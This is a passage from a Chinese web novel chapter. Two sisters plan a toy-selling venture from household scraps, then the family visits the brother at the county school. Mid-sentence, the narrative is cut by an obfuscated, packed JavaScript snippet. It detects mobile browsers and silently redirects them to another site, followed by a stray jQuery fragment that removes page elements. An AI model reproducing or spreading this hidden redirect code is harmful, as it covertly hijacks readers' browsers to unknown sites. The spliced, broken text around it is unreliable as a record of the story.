纪青看着纪宁期待的表情,再低头看一眼桌上摆着的几样玩具,心里迅速盘算起来。
绣房里每日确实会剩下不少布头、丝线大多是一些指甲盖、巴掌大小的零碎绸缎、棉布,或是颜色不太鲜亮的、有些瑕疵的短丝线,大件用不上,但若只是用来给这些小小小的竹节人做衣裳、配饰,却是绰绰有余。
她干娘王娘子为人还算宽和,平日里绣房的小丫头用些实在用不上的零碎缝个香囊、打个络子,只要不过分,她也是睁只眼闭只眼。
但宁姐儿是要做生意,用的东西可不少,且她要把东西卖出去,少不了会过府里那些主子们的眼,不是王娘子一个人能决定的,用钱买确实可以,但得想个法子。
纪青想了一会儿,拉着纪宁的手,压低声音说:“钱的事先放在一边,绣房里确实有些用不上的碎布头、短丝线,我平日里攒一些,或是跟关系好的姐妹要一点儿,头一批应该能给你凑出一些来,只是……”
她表情微顿:“宁姐儿,你想过没有,有些东西做出来了,倘若生意做大了,光靠咱们俩做不过来,也护不住。”
纪宁一怔。
许府的人际关系复杂,若她们做的小玩意儿真流行起来,难免会惹人眼红。
纪青思索片刻:“先不必声张,我在府里两年,也认得几个信得过的人,比如才刚带着你们进来的小灵,她娘就在大厨房管着采买,人脉广,嘴巴也严,我们可以先悄悄地做几套样品,不直接卖给主子,而是借着府里这些下人的路子试探着往外头卖,或者送给府里那些大丫头,借着她们的手送到小主子跟前去,若是上头问起来,只说是外头来的。”
纪宁听懂了,就是借势、打信息差,让外头的人以为这东西是从许府出去的,许府的那些人却以为是外头的人,或许是商贩,或许是别人为了讨他们的庇护才进上的:“等到吸引了他们的注意力,接下来的东西就好往外头卖了。”
纪青点头:“咱们根基浅,冒头太快容易折,先借着府里的势头把名声悄悄打出去,等人家都知道了,咱们再自己立起来,就容易多了。”
说完,她一顿,摩挲着手里的竹节人,越看越觉得有趣:“你这脑袋瓜怎么长的,病了一场,倒像是开了窍似的。”
纪宁心头一跳,面上却只嘿嘿一笑,抱着纪青的胳膊撒娇:“那还不是因为姐姐和兄长就聪明,连带着我也聪明了?阿姐,就这么说定了,布料丝线的事情交给你,我回去就抓紧做更多的玩具,再琢磨拼图和木马的样子。”
姐妹俩又细细商量了些细节,比如最初需要哪些颜色的布料,丝线要多长的,该如何定价等等。
纪青在府里见多了富贵,对主子们的喜好和丫鬟仆妇们之间的银钱往来更为了解,她的建议让纪宁有些天马行空的想法渐渐落到了实处。
没一会儿,小灵又进来收了碗筷,顺带给纪青带话说王娘子找她。
纪青应下,将父女两人送到角门,依依不舍地拉着纪宁的手。
心头的一点儿酸楚漫上了眼眶,纪青把一个小布包推到纪松手里:“里头是我攒的一点儿钱,和府里的稀奇点心果子,拿回家去吧。”
她又对纪宁说:“要是手里头钱不够,可以来这边儿跟我说,缺什么材料也跟我说,阿姐帮你想法子,都说万事开头难,别太苛着自己。”
纪宁重重点头。
又说了两句话,纪松才带着纪宁离开,两个人朝着县学书院走。
这会儿还是上学的功夫,县学外头没有人,只有一个看门的老头,耳朵有点背,说话都得特别大声才能听得清楚。
纪宁和他掰扯了半天,一直到学院里的钟声响起,学子们下了课,路过门口,好奇地看向他们。
有人驻足听了一会儿,笑着上来打招呼:“是纪安的家人?他这会儿应该还在学堂里,我带你们过去吧。”
他在前头带路,纪宁就四处打量着,顺便和领路的人搭话。
领路的人叫沈浩,自称是纪安的同学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488991|185769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“纪安兄在经义课上总是见解独到,夫子说整个班里,他的潜力是最好的。”
沈浩引着他们往学堂去。
县学比纪宁想象的要简朴许多,几排灰瓦学舍,还不如刚刚的许府繁荣,中间是个铺着青石板的庭院,院里种着几株苍劲的古柏,这会儿刚刚下课,学子们三三两两地从堂内出来,或是高声辩论着,身上都穿着皂色襕衫,只新旧和布料有些区别。
纪宁一眼就看到了还坐在学堂最后一排看书的纪安,和离家的时候不大一样,在家的时候他多少放松一些,这会儿整个人紧绷着,只有看书的时候眼神轻松一些。
“阿兄!”纪宁喊了一声,小跑着迎上去。
纪安闻声抬头,看到父亲和妹妹,脸上闪过惊讶,随即是难以掩饰的喜悦:“你们怎么来了?”
他快步走过来,去接纪松手里的货担。
周围的学子全都侧目看向他,纪安有些窘迫,但仍旧没有避开,而是拉着两人到了僻静处。
纪松看着儿子清瘦的脸庞和眼底的青黑,心疼地皱眉:“你妹妹惦记着你,我们来给你带点东西。”
纪宁立马把剩下那个单独装的包子递给了纪安:“都冷了,羊肉的包子,冷的吃了当心肚子不舒坦,回头你记得想法子热一下。”
冷透了的包子,只有荷叶的表面有一点余温。
纪安拿着手里的包子,喉结滚动了一下:“让爹和妹妹破费了。”
纪松拍拍他的肩膀:“这是宁姐儿挣的钱买的,家里都好,你别费心。”
纪安诧异:“宁姐儿开始挣钱了?”
纪松笑笑:“对啊,咱们宁姐儿现在可能挣钱了,比我这个货郎还能挣钱。”
纪安正要说话,几道声音插进来:“哎哟,这是谁啊?”
纪宁闻声抬头,只见几个一眼就能看出来的富家子弟围过来,一脸的诧异:“是纪安兄你的家里人?”
那人啧啧两声:“怎么看着……怪寒酸的。”